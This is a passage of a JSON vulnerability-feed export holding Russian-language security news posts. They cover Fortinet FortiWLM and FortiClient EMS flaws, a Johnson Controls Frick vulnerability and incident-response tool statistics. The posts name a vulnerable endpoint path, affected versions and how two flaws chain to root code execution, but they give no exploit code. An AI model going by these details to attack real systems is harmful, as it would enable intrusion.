\u043a\u0430\u043a Mimikatz (21,8%) \u0438 PsExec (20,0%) \u043d\u0430 \u044d\u0442\u0430\u043f\u0435 \u043f\u043e\u0441\u0442\u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0434\u043b\u044f \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u044f \u043f\u0430\u0440\u043e\u043b\u0435\u0439 \u0438 \u0431\u043e\u043a\u043e\u0432\u043e\u0433\u043e \u043f\u0435\u0440\u0435\u043c\u0435\u0449\u0435\u043d\u0438\u044f.\n\n\u041e\u0442\u0434\u0435\u043b\u044c\u043d\u043e \u0432 \u041b\u041a \u043e\u0442\u043c\u0435\u0447\u0430\u044e\u0442 \u0443\u0441\u0438\u043b\u0438\u0432\u0430\u044e\u0449\u0443\u044e\u0441\u044f \u0442\u0435\u043d\u0434\u0435\u043d\u0446\u0438\u044e, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0443\u044e \u0441 \u0442\u0435\u043c, \u0447\u0442\u043e \u0443\u0442\u0435\u0447\u043a\u0438 \u0434\u0430\u043d\u043d\u044b\u0445 \u0442\u0435\u043f\u0435\u0440\u044c \u043d\u0430 \u0432\u0442\u043e\u0440\u043e\u043c \u043c\u0435\u0441\u0442\u0435 \u043f\u043e \u0447\u0430\u0441\u0442\u043e\u0442\u0435 IR-\u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 (\u0432 16,9% \u0432\u0441\u0435\u0445 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u043e\u0432), \u0447\u0442\u043e \u043a\u043e\u0440\u0440\u0435\u043b\u0438\u0440\u0443\u0435\u0442 \u0441 \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u0438\u044f\u043c\u0438 \u041b\u041a \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0442\u0435\u043d\u0434\u0435\u043d\u0446\u0438\u0439 \u0432 \u043c\u0435\u0442\u043e\u0434\u0430\u0445 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0443\u0447\u0435\u0442\u043d\u044b\u043c \u0434\u0430\u043d\u043d\u044b\u043c.\n\n\u041f\u043e\u043b\u043d\u0430\u044f \u0432\u0435\u0440\u0441\u0438\u044f \u043e\u0442\u0447\u0435\u0442\u0430\u00a0\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u0430 \u0437\u0434\u0435\u0441\u044c \u0438 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u0430\u0445, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043d\u043e\u0432\u044b\u0435 \u0443\u0433\u0440\u043e\u0437\u044b, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u044b\u043c \u0440\u0430\u0437\u0431\u043e\u0440\u043e\u043c \u0434\u0435\u044f\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438 APT \u0438 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u043e\u0439 \u043f\u043e \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u043c \u0433\u0440\u0443\u043f\u043f\u0430\u043c.", "creation_timestamp": "2025-03-19T13:00:07.000000Z"}, {"uuid": "031bcd7e-1153-4a1a-9ed9-9e6273b22a0c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48782", "type": "seen", "source": "https://t.me/true_secator/6558", "content": "Fortinet \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442 \u043e \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438\u00a0\u0432 Wireless LAN Manager (FortiWLM), \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044e \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438.\n\nCVE-2023-34990 \u0438\u043c\u0435\u0435\u0442 \u043e\u0446\u0435\u043d\u043a\u0443 CVSS 9,6 \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u0442\u044c \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b.\n\n\u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u044e\u00a0\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438\u00a0\u0432 NIST (NVD), \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438 \u0442\u0430\u043a\u0436\u0435 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0438\u043b\u0438 \u043a\u043e\u043c\u0430\u043d\u0434 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0445 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u043a \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u0439 \u0442\u043e\u0447\u043a\u0435 /ems/cgi-bin/ezrf_lighttpd.cgi.\n\n\u041e\u043d\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 FortiWLM \u0432\u0435\u0440\u0441\u0438\u0439 8.6.0\u20138.6.5 (\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043e \u0432 8.6.6 \u0438 \u0432\u044b\u0448\u0435) \u0438 8.5.0\u20138.5.4 (\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043e \u0432 8.5.5 \u0438 \u0432\u044b\u0448\u0435).\n\n\u0420\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0435 \u043f\u0440\u0438\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f  \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 Horizon3.ai \u0417\u0430\u043a\u0443 \u0425\u044d\u043d\u043b\u0438.\n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c, CVE-2023-34990 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0441\u044f \u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u043e\u0433\u043e \u0447\u0442\u0435\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u043a\u043e\u0442\u043e\u0440\u0443\u044e Horizon3.ai \u0440\u0430\u0441\u043a\u0440\u044b\u043b\u0430\u00a0\u0435\u0449\u0435 \u0432 \u043c\u0430\u0440\u0442\u0435 \u0432 \u0441\u043e\u0441\u0442\u0430\u0432\u0435 \u0448\u0438\u0440\u043e\u043a\u043e\u0433\u043e \u043d\u0430\u0431\u043e\u0440\u0430 \u0438\u0437 \u0448\u0435\u0441\u0442\u0438 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432 \u0432 FortiWLM.\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u0438\u0437-\u0437\u0430 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0432\u0445\u043e\u0434\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0432 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430\u0445 \u0437\u0430\u043f\u0440\u043e\u0441\u0430, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u0440\u043e\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0442\u044c \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0438 \u0438 \u0447\u0438\u0442\u0430\u0442\u044c \u043b\u044e\u0431\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u0436\u0443\u0440\u043d\u0430\u043b\u043e\u0432 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435.\n\n\u0423\u0441\u043f\u0435\u0448\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f CVE-2023-34990 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0436\u0443\u0440\u043d\u0430\u043b\u0430 FortiWLM \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 \u0441\u0435\u0430\u043d\u0441\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0438 \u043b\u043e\u0433\u0438\u043d, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442 \u0435\u043c\u0443 \u0442\u0430\u043a\u0436\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0435 \u0442\u043e\u0447\u043a\u0438.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0442\u0435\u043c, \u0447\u0442\u043e \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u044b \u0432\u0435\u0431-\u0441\u0435\u0430\u043d\u0441\u043e\u0432 \u043d\u0435 \u043c\u0435\u043d\u044f\u044e\u0442\u0441\u044f \u043c\u0435\u0436\u0434\u0443 \u0441\u0435\u0430\u043d\u0441\u0430\u043c\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u0447\u0442\u043e\u0431\u044b \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u0438\u0442\u044c \u0438\u0445 \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0435 \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u0438\u044f \u043d\u0430 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0443.\n\n\u0418 \u044d\u0442\u043e \u0435\u0449\u0435 \u043d\u0435 \u0432\u0441\u0435.\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0442\u0430\u043a\u0436\u0435 \u043c\u043e\u0436\u0435\u0442 \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0438\u0442\u044c CVE-2023-34990 \u0441\u00a0CVE-2023-48782 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 8,8), \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0442\u0430\u043a\u0436\u0435 \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u0432 FortiWLM 8.6.6 \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f RCE \u0432 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0435 root.\n\n\u041f\u043e\u043c\u0438\u043c\u043e \u043d\u0435\u0435 Fortinet \u0442\u0430\u043a\u0436\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 CVE-2024-48889 (CVSS: 7.2) \u0432 FortiManager, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043a\u043e\u0434 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432, \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0445 FGFM.\n\n\u0423\u0447\u0438\u0442\u044b\u0432\u0430\u044f, \u0447\u0442\u043e \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 Fortinet \u0441\u0442\u0430\u043d\u043e\u0432\u044f\u0442\u0441\u044f\u00a0\u043e\u0431\u044a\u0435\u043a\u0442\u043e\u043c \u043f\u0435\u0440\u0432\u043e\u043e\u0447\u0435\u0440\u0435\u0434\u043d\u044b\u0445 \u0443\u0441\u0442\u0440\u0435\u043c\u043b\u0435\u043d\u0438\u0439 \u043a\u0438\u0431\u0435\u0440\u043f\u043e\u0434\u043f\u043e\u043b\u044c\u044f, \u043a\u0440\u0430\u0439\u043d\u0435 \u0432\u0430\u0436\u043d\u043e \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u0441\u0432\u043e\u0438 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u044b \u0434\u043b\u044f \u0437\u0430\u0449\u0438\u0442\u044b \u043e\u0442 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0433\u0440\u043e\u0437.", "creation_timestamp": "2024-12-19T14:06:21.000000Z"}, {"uuid": "8d0d1059-92a5-4ea0-8700-8e1c0daa8a48", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4804", "type": "seen", "source": "https://t.me/true_secator/5109", "content": "Johnson Controls \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u043e\u043c \u0445\u043e\u043b\u043e\u0434\u0438\u043b\u044c\u043d\u043e\u043c \u043e\u0431\u043e\u0440\u0443\u0434\u043e\u0432\u0430\u043d\u0438\u0438 Frick, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0441\u0438\u0441\u0442\u0435\u043c\u043e\u0439 Quantum HD.\n\nCVE-2023-4804 \u0441 \u0440\u0435\u0439\u0442\u0438\u043d\u0433\u043e\u043c CVSS 10 \u0432\u043b\u0438\u044f\u0435\u0442 \u043d\u0430 \u043a\u043e\u043c\u043f\u0440\u0435\u0441\u0441\u043e\u0440 Frick Quantum HD Unity, AcuAir, \u043a\u043e\u043d\u0434\u0435\u043d\u0441\u0430\u0442\u043e\u0440, \u0438\u0441\u043f\u0430\u0440\u0438\u0442\u0435\u043b\u044c, \u043c\u0430\u0448\u0438\u043d\u043d\u0443\u044e \u0447\u0430\u0441\u0442\u044c \u0438 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u043d\u044b\u0435 \u043f\u0430\u043d\u0435\u043b\u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f.\u00a0\n\n\u041f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0435 \u043e\u0431\u043e\u0440\u0443\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u043f\u043e \u0432\u0441\u0435\u043c\u0443 \u043c\u0438\u0440\u0443 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u0430\u043c\u0438 \u0432 \u0441\u0444\u0435\u0440\u0435 \u043f\u0438\u0449\u0435\u0432\u043e\u0439 \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u043e\u0441\u0442\u0438, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0438 \u0432 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u0430\u0436\u043d\u044b\u0445 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0445 \u0441\u0435\u043a\u0442\u043e\u0440\u0430\u0445.\n\n\u041e\u0448\u0438\u0431\u043a\u0430 \u0431\u044b\u043b\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u043c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c \u0438 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430 \u0432 \u043a\u0430\u0436\u0434\u043e\u0439 \u0438\u0437 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0445 \u043f\u0430\u043d\u0435\u043b\u0435\u0439 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f, \u043d\u0430 \u0447\u0442\u043e \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u0443 \u043f\u043e\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043b\u043e\u0441\u044c \u043f\u043e\u0447\u0442\u0438 \u043f\u043e\u043b\u0433\u043e\u0434\u0430.\n\n\u0412\u044b\u043f\u0443\u0441\u043a \u043f\u0430\u0442\u0447\u0430 \u0437\u0430\u043d\u044f\u043b \u0431\u043e\u043b\u044c\u0448\u0435 \u0432\u0440\u0435\u043c\u0435\u043d\u0438, \u0447\u0435\u043c \u043f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u043b\u043e\u0441\u044c, \u043f\u043e\u0442\u043e\u043c\u0443 \u043a\u0430\u043a \u0432\u043b\u0438\u044f\u043d\u0438\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u043e\u043a\u0430\u0437\u0430\u043b\u043e\u0441\u044c \u0448\u0438\u0440\u0435, \u0430 \u0432 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0438 \u043d\u0443\u0436\u0434\u0430\u043b\u0438\u0441\u044c \u0432\u0441\u0435 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b \u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e.\n\n\u041f\u0440\u0438\u0447\u0435\u043c \u0442\u0430\u043a\u0436\u0435 \u0432\u044b\u044f\u0441\u043d\u0438\u043b\u043e\u0441\u044c, \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0435 Johnson Controls \u0431\u044b\u043b\u0430 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u0446\u0435\u043f\u043e\u0447\u043a\u043e\u0439 \u043f\u043e\u0441\u0442\u0430\u0432\u043e\u043a \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u044b\u043c \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u043e\u043c \u0431\u044b\u043b Frick, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043f\u043e\u0437\u0436\u0435 \u0432\u044b\u043a\u0443\u043f\u0438\u043b\u0430 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f York, \u0441\u0442\u0430\u0432\u0448\u0430\u044f, \u0432 \u0441\u0432\u043e\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c, \u0437\u0430\u0442\u0435\u043c \u0447\u0430\u0441\u0442\u044c\u044e Johnson Controls.\n\n\u041a\u043e\u043d\u0435\u0447\u043d\u043e, \u0441\u043b\u043e\u0436\u043d\u043e \u043f\u043e\u043d\u044f\u0442\u044c, \u0447\u0435\u0433\u043e \u0434\u043e\u0431\u044c\u0435\u0442\u0441\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a, \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u0432 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u0439 \u043f\u0440\u043e\u0434\u0443\u043a\u0442 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u0435, \u043d\u043e \u0432 \u0446\u0435\u043b\u043e\u043c \u0433\u0438\u043f\u043e\u0442\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043a\u0438\u0431\u0435\u0440\u0430\u0442\u0430\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0432\u044b\u0437\u0432\u0430\u0442\u044c \u0441\u0431\u043e\u0438 \u0432 \u0440\u0430\u0431\u043e\u0442\u0435 \u0445\u043e\u043b\u043e\u0434\u0438\u043b\u044c\u043d\u043e\u0433\u043e \u043e\u0431\u043e\u0440\u0443\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0438 \u043f\u0440\u0438\u0447\u0438\u043d\u0438\u0442\u044c \u043e\u0449\u0443\u0442\u0438\u043c\u044b\u0439 \u0444\u0438\u043d\u0430\u043d\u0441\u043e\u0432\u044b\u0439 \u0443\u0449\u0435\u0440\u0431.\n\n\u041f\u0440\u0438\u0447\u0435\u043c \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u044b Quantum HD \u0442\u0430\u043a\u0436\u0435 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u044b \u043a \u0418\u043d\u0442\u0435\u0440\u043d\u0435\u0442 \u0438 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u044b \u0434\u043b\u044f \u0430\u0442\u0430\u043a, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u0435\u0436\u0434\u0443 \u0434\u0435\u043b\u043e\u043c, \u0438\u043c\u0435\u044e\u0442 \u043d\u0438\u0437\u043a\u0443\u044e \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u044c.", "creation_timestamp": "2023-11-21T14:32:15.000000Z"}, {"uuid": "19cbac6d-d73a-4a4c-9d64-e7a271fa946b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48788", "type": "exploited", "source": "https://t.me/true_secator/6580", "content": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0438\u0437 \u041b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438 \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u043e\u0433\u043e \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u044e\u0442 \u043e\u0431 \u0430\u0442\u0430\u043a\u0430\u0445, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u044b\u0445 \u043d\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u0443\u044e \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c Fortinet FortiClient EMS \u0434\u043b\u044f \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430, \u0432\u043a\u043b\u044e\u0447\u0430\u044f AnyDesk \u0438 ScreenConnect.\n\n\u0420\u0435\u0447\u044c \u0438\u0434\u0435\u0442 \u043e\u00a0CVE-2023-48788\u00a0(CVSS: 9,3), \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 